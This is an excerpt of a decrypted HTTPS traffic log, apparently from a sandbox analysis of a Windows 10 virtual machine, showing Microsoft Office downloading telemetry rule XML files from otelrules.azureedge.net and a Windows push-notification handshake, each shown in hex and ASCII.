2024-12-07 21:40:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214047Z-r1cf579d778v97q7hC1EWRf95c000000033g000000005feq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:47 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:47 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:47 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214047Z-r1cf579d778xr2r4hC1EWRqvfs00000003f0000000006haz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:47 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:47 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:47 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214047Z-r1cf579d778d5zkmhC1EWRk6h800000003zg0000000039yt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:47 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:47 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:47 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214047Z-r1cf579d778d5zkmhC1EWRk6h800000003x0000000006smm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:48 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:49 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214049Z-r1cf579d7788pwqzhC1EWRrpd800000003t0000000003a2w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:49 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214049Z-r1cf579d778qlpkrhC1EWRpfc8000000048g000000000xpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:49 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:49 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214049Z-r1cf579d7784wpmvhC1EWRk4cn00000002w00000000078dc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:49 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:49 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214049Z-r1cf579d778x776bhC1EWRdk8000000003hg000000002nqa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 21:40:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49817	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:49 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 38 42 44 72 69 6f 70 4c 45 6b 4b 37 31 6b 71 36 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 32 37 39 32 31 36 33 61 36 35 32 63 39 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 8BDriopLEkK71kq6.1Context: 972792163a652c91
2024-12-07 21:40:49 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-07 21:40:49 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 38 42 44 72 69 6f 70 4c 45 6b 4b 37 31 6b 71 36 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 32 37 39 32 31 36 33 61 36 35 32 63 39 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 57 32 44 68 6f 47 6b 59 77 72 38 64 69 4b 58 77 48 48 44 30 32 62 63 6a 78 47 39 4b 48 68 56 47 71 38 55 61 73 44 36 6c 49 68 6b 43 53 5a 7a 32 62 52 4d 7a 79 49 38 43 4c 66 37 73 4a 53 51 73 46 58 33 51 6c 6c 4d 46 34 2b 7a 49 37 39 6b 35 74 56 38 78 4a 66 59 69 72 41 68 4d 70 49 72 55 2f 69 76 55 63 4f 56 65 4f 66 7a 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 8BDriopLEkK71kq6.2Context: 972792163a652c91<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaW2DhoGkYwr8diKXwHHD02bcjxG9KHhVGq8UasD6lIhkCSZz2bRMzyI8CLf7sJSQsFX3QllMF4+zI79k5tV8xJfYirAhMpIrU/ivUcOVeOfzB
2024-12-07 21:40:49 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 38 42 44 72 69 6f 70 4c 45 6b 4b 37 31 6b 71 36 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 37 32 37 39 32 31 36 33 61 36 35 32 63 39 31 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 8BDriopLEkK71kq6.3Context: 972792163a652c91<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-07 21:40:50 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-07 21:40:50 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 64 59 77 37 68 2b 49 54 30 75 77 2b 79 45 4f 70 64 79 6f 55 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4dYw7h+IT0uw+yEOpdyoUA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:49 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:50 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1dbd65e4-a01e-0002-7203-485074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214050Z-r1cf579d778lntp7hC1EWR9gg400000002zg000000002y19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 21:40:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 21:40:51 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 21:40:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 21:40:51 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: b8e80a8d-201e-000c-1e03-4879c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T214051Z-r1cf579d77867vg8hC1EWR8knc00000003cg00000000348q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
